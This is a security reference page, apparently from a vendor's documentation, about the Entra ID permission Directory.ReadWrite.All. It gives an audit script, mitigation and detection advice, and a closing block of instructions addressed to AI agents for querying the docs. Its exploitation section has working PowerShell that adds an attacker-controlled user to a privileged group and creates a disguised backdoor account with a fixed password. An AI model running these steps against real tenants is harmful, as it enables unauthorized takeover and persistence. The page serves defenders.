# AZ\_MG\_DIRECTORY\_READWRITE\_ALL

## Summary

|                               |                                                 |
| ----------------------------- | ----------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_DIRECTORY\_READWRITE\_ALL               |
| **Entra ID (Azure AD) Alias** | Directory.ReadWrite.All                         |
| **Affected Object Types**     | Service Principals, Applications                |
| **Exploitation Certainty**    | Certain                                         |
| **Graph Permission / Role**   | Application Permission: Directory.ReadWrite.All |

## Description

`AZ_MG_DIRECTORY_READWRITE_ALL` represents a Microsoft Graph application permission that grants **read and write access to all directory data** in Microsoft Entra ID (Azure AD). This is one of the most dangerous permissions that can be assigned to an application or service principal because it allows:

* **Create, read, update, and delete users** (except passwords for admin users)
* **Create, read, update, and delete groups** including security groups and Microsoft 365 groups
* **Manage group memberships** adding/removing members from any group
* **Read and modify applications and service principals**
* **Read and modify directory roles and role assignments** (with some restrictions)
* **Manage devices and device configurations**
* **Read and modify organizational settings**
* **Manage domains and directory extensions**

This permission is often abused for:

* **Privilege escalation**: Adding controlled accounts to privileged groups (e.g., Global Administrators role-assignable groups)
* **Persistence**: Creating backdoor accounts or service principals
* **Lateral movement**: Modifying existing accounts or groups to gain access to additional resources
* **Data exfiltration**: Enumerating all directory objects and their properties

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

## Identification

### PowerShell

#### Find Service Principals with Directory.ReadWrite.All

```powershell
Connect-AzAccount

$permissionId = "19dbc75e-c2e2-444c-a770-ec69d8559fc7"  # Directory.ReadWrite.All GUID

# Step 1: Get all app role assignments across the tenant
$uri = "https://graph.microsoft.com/v1.0/servicePrincipals?`$expand=appRoleAssignments"
$allServicePrincipals = @()

while ($uri) {
    $response = Invoke-AzRestMethod -Uri $uri -Method GET
    $data = $response.Content | ConvertFrom-Json
    $allServicePrincipals += $data.value
    $uri = $data.'@odata.nextLink'
}

Write-Host "Retrieved $($allServicePrincipals.Count) service principals"

# Step 2: Filter for those with Directory.ReadWrite.All
$results = @()

foreach ($sp in $allServicePrincipals) {
    $matchingAssignments = $sp.appRoleAssignments | Where-Object { $_.appRoleId -eq $permissionId }
    
    foreach ($assignment in $matchingAssignments) {
        $results += [PSCustomObject]@{
            ServicePrincipalName = $sp.displayName
            ServicePrincipalId   = $sp.id
            AppId                = $sp.appId
            PermissionName       = "Directory.ReadWrite.All"
            PermissionId         = $permissionId
            ResourceId           = $assignment.resourceId
            AssignedDateTime     = $assignment.createdDateTime
        }
    }
}

Write-Host "`nFound $($results.Count) service principals with Directory.ReadWrite.All"
$results | Export-Csv -Path ".\DirectoryReadWriteAll_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8
$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `Directory.ReadWrite.All` can perform numerous privilege escalation attacks.

### Add User to a Privileged Group

```powershell
# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId

# Find a role-assignable group with Global Administrator role
## First, get the group ID of a privileged group
$groupId = "<target-group-id>"
$userId = "<attacker-controlled-user-id>"

# Add user to the group
$uri = "https://graph.microsoft.com/v1.0/groups/$groupId/members/`$ref"
$body = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$userId"
} | ConvertTo-Json

Invoke-AzRestMethod -Uri $uri -Method POST -Payload $body
```

![Add User To Privilaged Group](/files/qXu61Vzg9kR2KMdmeg75)

### Create a Backdoor User Account

```powershell
# Create a new user with a known password
$uri = "https://graph.microsoft.com/v1.0/users"
$body = @{
    accountEnabled = $true
    displayName = "IT Support"
    mailNickname = "itsupport"
    userPrincipalName = "itsupport@contoso.onmicrosoft.com"
    passwordProfile = @{
        forceChangePasswordNextSignIn = $false
        password = "ComplexP@ssw0rd123!"
    }
} | ConvertTo-Json

$response = Invoke-AzRestMethod -Uri $uri -Method POST -Payload $body
$newUser = $response.Content | ConvertFrom-Json
Write-Output "Created user: $($newUser.userPrincipalName) with ID: $($newUser.id)"
```

![Create A backdoor user](/files/DRtp2xEipeWA4o3SkHKH)

## Mitigation

* **Audit all service principals** with `Directory.ReadWrite.All` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `Directory.ReadWrite.All` permission if not required.
* **Apply least privilege**: Replace with more specific permissions where possible:
  * Use `User.ReadWrite.All` instead if only user management is needed.
  * Use `Group.ReadWrite.All` instead if only group management is needed.
  * Use `Application.Read.All` if only read access is required.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Use Privileged Identity Management (PIM)** for just-in-time access where applicable.
* **Monitor permission grants** and alert on new `Directory.ReadWrite.All` assignments.

## Detection

Detect permission grants and suspicious activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal**
  * **Add user**
  * **Add member to group**
  * **Update application**

Monitor for suspicious patterns:

* New user creation by service principals.
* Group membership changes by service principals.
* Application credential additions by service principals.
* Bulk directory modifications outside of change management windows.

## References

* [Microsoft Graph Permissions Reference - Directory.ReadWrite.All](https://learn.microsoft.com/en-us/graph/permissions-reference#directoryreadwriteall)
* [Microsoft Graph API - Service Principal App Role Assignments](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-approleassignments)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGGrantAppRoles](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#azmggrantapproles)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_mg_directory_readwrite_all.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
